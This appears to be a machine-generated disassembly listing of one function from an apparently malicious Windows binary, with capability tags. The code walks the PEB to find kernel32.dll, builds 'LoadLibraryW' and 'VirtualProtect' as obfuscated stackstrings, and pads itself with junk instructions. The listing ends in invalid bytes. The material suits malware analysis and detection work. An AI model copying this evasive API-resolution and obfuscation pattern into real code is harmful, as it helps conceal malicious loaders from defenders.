Function at 0x406644
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
xor ebx, 0x16455
pop ebx
push esi
call 0x40665b
add byte [0x3a464240], dh
cmp byte [ebx - 0x39a1fb3c], al
test dword [eax + 0x56fffff6], esp
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push eax
push ecx
add esp, 4
jmp 0x4066d6
or eax, 0xe42d
pop eax
push edi
push edi
add esp, 4
or edi, 0x21ed
call 0x4066f6
add byte [eax + ecx*2 + 0x4c], cl
cmp dl, byte [eax + 0x49]
xor eax, 0x4c4834e
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ecx
push edx
add esp, 4
or ecx, 0x16d0b
pop ecx
push eax
xor eax, 0x3fda
pop eax
push esi
push ecx
add esp, 4
sub esi, 0x10d55
pop esi
push ebx
push esi
add esp, 4
and ebx, 0x3647
sub ebx, 0x44d1
pop ebx
cmp dword [ebp - 0x150c], 0
jne 0x40676b
mov dword [ebp - 0x2a8], 0
jmp 0x406a12
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ebx
push eax
add esp, 4
sub ebx, 0xb9f5
sub ebx, 0x27d5
and ebx, 0x873f
pop ebx
push edi
xor edi, 0x58b8
and edi, 0x256a
pop edi
push ebx
push ecx
add esp, 4
xor ebx, 0x6bf7
pop ebx
cmp dword [ebp - 0xc4c], 0
jne 0x4067c7
mov dword [ebp - 0x2a8], 0
jmp 0x406a12
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ecx
push ebx
add esp, 4
add ecx, 0x1ad3
call 0x4067ed
add byte [esi + 0x3e], al
inc edx
xor eax, 0x45443d48
inc ebp
add esp, 4
add ecx, 0x6f63
pop ecx
push edx
and edx, 0x4896
or edx, 0xddbf
pop edx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ebx
push edi
add esp, 4
and ebx, 0xa416
jmp 0x406840
xor ebx, 0x1138d
pop ebx
push eax
push esi
add esp, 4
and eax, 0x6237
pop eax
push edi
or edi, 0xed34
and edi, 0xe3c3
pop edi
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push eax
push esi
add esp, 4
jmp 0x4068c3
pop eax
push ebx
push eax
add esp, 4
sub ebx, 0x128e0
xor ebx, 0xace9
add ebx, 0x77b2
pop ebx
push eax
add eax, 0xe8de
xor eax, 0xa5c2
pop eax
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x406907
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x406961
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x40682f
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x40682f
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x40694b
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x406955
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x4069aa
push ecx
push ecx
add esp, 4
or ecx, 0x6d13
sub ecx, 0x8833
jmp 0x406983
pop ecx
push edx
push ebx
add esp, 4
sub edx, 0x2901
sub edx, 0x177d
and edx, 0x110c9
pop edx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x406a12
push ebx
push edx
add esp, 4
or ebx, 0x15980
add ebx, 0x344c
xor ebx, 0xac68
pop ebx
push esi
call 0x4069d2
add byte [esi], dh
dec edi
inc ebp
cmp eax, 0x35354b4c
add esp, 4
xor esi, 0x171e9
pop esi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x406a08
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x4067d3
mov dword [ebp - 0x2a8], 0
push eax
push ebx
add esp, 4
jmp 0x406a1c
pop eax
push ecx
call 0x406a2b
add byte [ebx + 0x4a], cl
xor al, 0x3d
inc edx
aas
inc edi
add esp, 4
call 0x406a3a
add byte [esi + edi], bh
dec esp
cmp dword [ebx + eax*2], edi
add esp, 4
or ecx, 0x140ea
pop ecx
cmp dword [ebp - 0x2a8], 0
jne 0x407349
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push edx
add edx, 0x3aa
xor edx, 0x181bf
pop edx
push ebx
push edi
add esp, 4
sub ebx, 0x621b
sub ebx, 0x9a33
or ebx, 0xf4a7
pop ebx
push eax
push edx
add esp, 4
and eax, 0xb29c
pop eax
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edi
push edx
add esp, 4
add edi, 0xb7dc
or edi, 0x4e89
pop edi
push ecx
add ecx, 0x4e8c
call 0x406bc7
add byte [edi + 0x35], cl
aas
dec esp
dec ebp
cmp eax, 0x834f4b3e
les eax, [ecx + eax*4]
leave
xchg ecx, eax
out dx, eax
add byte [eax], al
pop ecx
cmp dword [ebp - 0x1518], 0
jne 0x406be9
mov dword [ebp - 0x710], 0
jmp 0x406e90
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edi
push eax
add esp, 4
jmp 0x406c05
xor edi, 0x173d2
sub edi, 0x16165
or edi, 0x1592b
pop edi
push eax
xor eax, 0x10d87
xor eax, 0x128a
jmp 0x406c2c
pop eax
cmp dword [ebp - 0xc58], 0
jne 0x406c45
mov dword [ebp - 0x710], 0
jmp 0x406e90
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push esi
push ecx
add esp, 4
add esi, 0x177a8
sub esi, 0x64fd
xor esi, 0x38d2
pop esi
push edx
add edx, 0x16588
or edx, 0x5f13
or edx, 0x4fd5
and edx, 0x16757
pop edx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push eax
push edi
add esp, 4
or eax, 0x110a2
call 0x406cc7
add byte [ebp + 0x3c], cl
cmp eax, 0x4b49463c
xor al, byte ss:[ebx + 0x4eb04c4]
inc ebx
dec ecx
cmp byte [ecx + 0xb10e0], al
add byte [eax + 0x57], bl
or edi, 0x11442
pop edi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ecx
push esi
add esp, 4
and ecx, 0x64fa
sub ecx, 0xcdf9
pop ecx
push esi
sub esi, 0x1692c
add esi, 0x12bf
or esi, 0xf92e
pop esi
push edx
push edi
add esp, 4
or edx, 0x10ecf
pop edx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x406d85
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x406ddf
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x406cad
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x406cad
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x406dc9
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x406dd3
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x406e28
push ecx
push edi
add esp, 4
and ecx, 0xb5bf
or ecx, 0x4d83
pop ecx
push ecx
sub ecx, 0x1060c
pop ecx
push ebx
push ebx
add esp, 4
add ebx, 0xb02e
jmp 0x406e13
sub ebx, 0x1342c
pop ebx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x406e90
push eax
sub eax, 0x10c9b
call 0x406e3b
add byte [edx + 0x4f], cl
xor cl, byte ss:[eax + 0x49]
add esp, 4
pop eax
push eax
jmp 0x406e47
and eax, 0x10d28
sub eax, 0x1364b
add eax, 0x11907
pop eax
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x406e86
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x406c51
mov dword [ebp - 0x710], 0
push esi
push eax
add esp, 4
sub esi, 0xf74e
call 0x406ea7
add byte [edx + 0x41], al
xor edi, dword [esi + ecx*2]
inc edx
add esp, 4
sub esi, 0x265d
call 0x406ebe
add byte [edx + 0x43], al
cmp dh, byte [ebx]
inc edi
cmp dword [edi], esi
cmp al, byte [ebx - 0x7ca1fb3c]
mov ebp, 0xfffff8f0
add byte [ebp + 0x41], dh
push ebx
push edi
add esp, 4
xor ebx, 0x5d76
pop ebx
push edx
push eax
add esp, 4
or edx, 0x60e0
pop edx
push eax
or eax, 0xf333
sub eax, 0x4ea7
pop eax
push eax
push edi
add esp, 4
add eax, 0x36ab
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x407a34
push eax
push ecx
add esp, 4
or eax, 0x2af9
and eax, 0x4941
or eax, 0x2259
pop eax
push edi
xor edi, 0x9016
and edi, 0x164a6
sub edi, 0x3f15
add edi, 0x17719
pop edi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push eax
push eax
add esp, 4
xor eax, 0xe304
and eax, 0x16c29
or eax, 0x308b
pop eax
push esi
sub esi, 0x15447
xor esi, 0x120ee
pop esi
push ecx
push eax
add esp, 4
or ecx, 0xf769
pop ecx
cmp dword [ebp - 0x1574], 0
jne 0x4073ed
mov dword [ebp - 0x2a8], 0
jmp 0x407694
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edx
add edx, 0x8717
and edx, 0x17045
pop edx
push edi
push ecx
add esp, 4
or edi, 0xc0a9
pop edi
push ecx
push edi
add esp, 4
and ecx, 0x13070
xor ecx, 0xf7e7
and ecx, 0x152c1
pop ecx
cmp dword [ebp - 0xc68], 0
jne 0x407449
mov dword [ebp - 0x2a8], 0
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push esi
xor esi, 0xc3b2
jmp 0x407461
pop esi
push ebx
push edx
add esp, 4
add ebx, 0x103f8
pop ebx
push eax
xor eax, 0xd8c9
pop eax
push ebx
call 0x407483
add byte [esp + eax*2], bh
inc ebx
dec esp
inc edx
add esp, 4
pop ebx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
push dword [ebx]
leave
mov word [ebp - 0x40], cx
push edi
add edi, 0x13fe
pop edi
push edi
call 0x4074c6
add byte [edi + 0x37], cl
aas
inc eax
dec esp
inc ebp
add esp, 4
and edi, 0x1d18
add edi, 0x173d9
pop edi
push ecx
push ebx
add esp, 4
jmp 0x4074e2
pop ecx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
invalid
invalid
invalid
insb byte es:[edi], dx
invalid